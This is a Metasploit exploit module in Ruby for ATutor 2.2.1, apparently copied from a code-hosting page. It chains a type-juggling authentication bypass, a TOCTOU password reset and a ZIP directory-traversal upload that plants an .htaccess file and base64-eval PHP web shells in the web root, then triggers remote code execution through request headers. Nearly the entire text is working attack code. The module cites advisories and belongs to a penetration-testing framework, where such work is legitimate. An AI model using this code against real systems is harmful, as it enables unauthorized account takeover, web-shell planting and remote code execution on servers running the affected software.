Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/atutor_filemanager_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',16'Description' => %q{17This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP18setup with display_errors set to On, which can be used to allow us to upload a malicious19ZIP file. On the web application, a blacklist verification is performed before extraction,20however it is not sufficient to prevent exploitation.2122You are required to login to the target to reach the vulnerability, however this can be23done as a student account and remote registration is enabled by default.2425Just in case remote registration isn't enabled, this module uses 2 vulnerabilities26in order to bypass the authentication:27281. confirm.php Authentication Bypass Type Juggling vulnerability292. password_reminder.php Remote Password Reset TOCTOU vulnerability30},31'License' => MSF_LICENSE,32'Author' =>33[34'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code35],36'References' =>37[38[ 'URL', 'http://www.atutor.ca/' ], # Official Website39[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory40[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory41[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory42[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]43],44'Privileged' => false,45'Payload' =>46{47'DisableNops' => true48},49'Platform' => ['php'],50'Arch' => ARCH_PHP,51'Targets' => [[ 'Automatic', {}]],52'DisclosureDate' => '2016-03-01',53'DefaultTarget' => 054)55)5657register_options(58[59OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),60OptString.new('USERNAME', [false, 'The username to authenticate as']),61OptString.new('PASSWORD', [false, 'The password to authenticate with'])62]63)64end6566def post_auth?67true68end6970def print_status(msg = '')71super("#{peer} - #{msg}")72end7374def print_error(msg = '')75super("#{peer} - #{msg}")76end7778def print_good(msg = '')79super("#{peer} - #{msg}")80end8182def check83# there is no real way to finger print the target so we just84# check if we can upload a zip and extract it into the web root...85# obviously not ideal, but if anyone knows better, feel free to change86unless datastore['USERNAME'] && datastore['PASSWORD']87# if we cant login, it may still be vuln88return Exploit::CheckCode::Unknown 'Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.'89end9091student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)92if !student_cookie.nil? && disclose_web_root93begin94if upload_shell(student_cookie, check = true) && found95return Exploit::CheckCode::Vulnerable96end97rescue Msf::Exploit::Failed => e98vprint_error(e.message)99end100end101return Exploit::CheckCode::Unknown102end103104def create_zip_file(check = false)105zip_file = Rex::Zip::Archive.new106@header = Rex::Text.rand_text_alpha_upper(4)107@payload_name = Rex::Text.rand_text_alpha_lower(4)108@archive_name = Rex::Text.rand_text_alpha_lower(3)109@test_string = Rex::Text.rand_text_alpha_lower(8)110# we traverse back into the webroot mods/ directory (since it will be writable)111path = "../../../../../../../../../../../../..#{@webroot}mods/"112113# we use this to give us the best chance of success. If a webserver has htaccess override enabled114# we will win. If not, we may still win because these file extensions are often registered as php115# with the webserver, thus allowing us remote code execution.116if check117zip_file.add_file("#{path}#{@payload_name}.txt", @test_string.to_s)118else119register_file_for_cleanup('.htaccess', "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")120zip_file.add_file("#{path}.htaccess", 'AddType application/x-httpd-php .phtml .php4 .pht')121zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")122zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")123zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")124end125zip_file.pack126end127128def found129res = send_request_cgi({130'method' => 'GET',131'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.txt")132})133if res && (res.code == 200) && res.body =~ /#{@test_string}/134return true135end136137return false138end139140def disclose_web_root141res = send_request_cgi({142'method' => 'GET',143'uri' => normalize_uri(target_uri.path, 'jscripts', 'ATutor_js.php')144})145@webroot = '/'146@webroot << Regexp.last_match(1) if res && res.body =~ %r{\<b\>/(.*)jscripts/ATutor_js\.php\</b\> }147if @webroot != '/'148return true149end150151return false152end153154def call_php(ext)155res = send_request_cgi({156'method' => 'GET',157'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.#{ext}"),158'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"159}, timeout = 0.1)160return res161end162163def exec_code164res = call_php('pht')165unless res166res = call_php('phtml')167unless res168call_php('php4')169end170end171end172173def upload_shell(cookie, check)174post_data = Rex::MIME::Message.new175post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")176post_data.add_part(Rex::Text.rand_text_alpha_upper(4).to_s, nil, nil, 'form-data; name="submit_import"')177data = post_data.to_s178res = send_request_cgi({179'uri' => normalize_uri(target_uri.path, 'mods', '_standard', 'tests', 'question_import.php'),180'method' => 'POST',181'data' => data,182'ctype' => "multipart/form-data; boundary=#{post_data.bound}",183'cookie' => cookie,184'vars_get' => {185'h' => ''186}187})188if res && res.code == 302 && res.redirection.to_s.include?('question_db.php')189return true190end191192# unknown failure...193fail_with(Failure::Unknown, 'Unable to upload php code')194return false195end196197def find_user(cookie)198res = send_request_cgi({199'method' => 'GET',200'uri' => normalize_uri(target_uri.path, 'users', 'profile.php'),201'cookie' => cookie,202# we need to set the agent to the same value that was in type_juggle,203# since the bypassed session is linked to the user-agent. We can then204# use that session to leak the username205'agent' => ''206})207username = Regexp.last_match(1).to_s if res && res.body =~ %r{<span id="login">(.*)</span>}208if username209return username210end211212# else we fail, because we dont know the username to login as213fail_with(Failure::Unknown, 'Unable to find the username!')214end215216def type_juggle217# high padding, means higher success rate218# also, we use numbers, so we can count requests :p219for i in 1..8220for @number in ('0' * i..'9' * i)221res = send_request_cgi({222'method' => 'POST',223'uri' => normalize_uri(target_uri.path, 'confirm.php'),224'vars_post' => {225'auto_login' => '',226'code' => '0' # type juggling227},228'vars_get' => {229'e' => @number, # the bruteforce230'id' => '',231'm' => '',232# the default install script creates a member233# so we know for sure, that it will be 1234'member_id' => '1'235},236# need to set the agent, since we are creating x number of sessions237# and then using that session to get leak the username238'agent' => ''239}, redirect_depth = 0) # to validate a successful bypass240if res && (res.code == 302)241cookie = "ATutorID=#{Regexp.last_match(3)};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/242return cookie243end244end245end246# if we finish the loop and have no sauce, we cant make pasta247fail_with(Failure::Unknown, 'Unable to exploit the type juggle and bypass authentication')248end249250def reset_password251# this is due to line 79 of password_reminder.php252days = (Time.now.to_i / 60 / 60 / 24)253# make a semi strong password, we have to encourage security now :->254pass = Rex::Text.rand_text_alpha(32)255hash = Rex::Text.sha1(pass)256res = send_request_cgi({257'method' => 'POST',258'uri' => normalize_uri(target_uri.path, 'password_reminder.php'),259'vars_post' => {260'form_change' => 'true',261# the default install script creates a member262# so we know for sure, that it will be 1263'id' => '1',264'g' => days + 1, # needs to be > the number of days since epoch265'h' => '', # not even checked!266'form_password_hidden' => hash, # remotely reset the password267'submit' => 'Submit'268}269}, redirect_depth = 0) # to validate a successful bypass270271if res && (res.code == 302)272return pass273end274275# if we land here, the TOCTOU failed us276fail_with(Failure::Unknown, 'Unable to exploit the TOCTOU and reset the password')277end278279def login(username, password, check = false)280hash = Rex::Text.sha1(Rex::Text.sha1(password))281res = send_request_cgi({282'method' => 'POST',283'uri' => normalize_uri(target_uri.path, 'login.php'),284'vars_post' => {285'form_password_hidden' => hash,286'form_login' => username,287'submit' => 'Login',288'token' => ''289}290})291# poor php developer practices292cookie = "ATutorID=#{Regexp.last_match(4)};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/293if res && res.code == 302294if res.redirection.to_s.include?('bounce.php?course=0')295return cookie296end297end298# auth failed if we land here, bail299unless check300fail_with(Failure::NoAccess, "Authentication failed with username #{username}")301end302return nil303end304305def exploit306# login if needed307if datastore['USERNAME'] && datastore['PASSWORD']308store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])309student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])310print_good("Logged in as #{datastore['USERNAME']}")311# else, we reset the students password via a type juggle vulnerability312else313print_status('Account details are not set, bypassing authentication...')314print_status('Triggering type juggle attack...')315student_cookie = type_juggle316print_good("Successfully bypassed the authentication in #{@number} requests !")317username = find_user(student_cookie)318print_good("Found the username: #{username} !")319password = reset_password320print_good("Successfully reset the #{username}'s account password to #{password} !")321report_cred(user: username, password: password)322student_cookie = login(username, password)323print_good("Logged in as #{username}")324end325326if disclose_web_root327print_good('Found the webroot')328# we got everything. Now onto pwnage329if upload_shell(student_cookie, false)330print_good('Zip upload successful !')331exec_code332end333end334end335end336337def service_details338super.merge({ post_reference_name: refname })339end340341342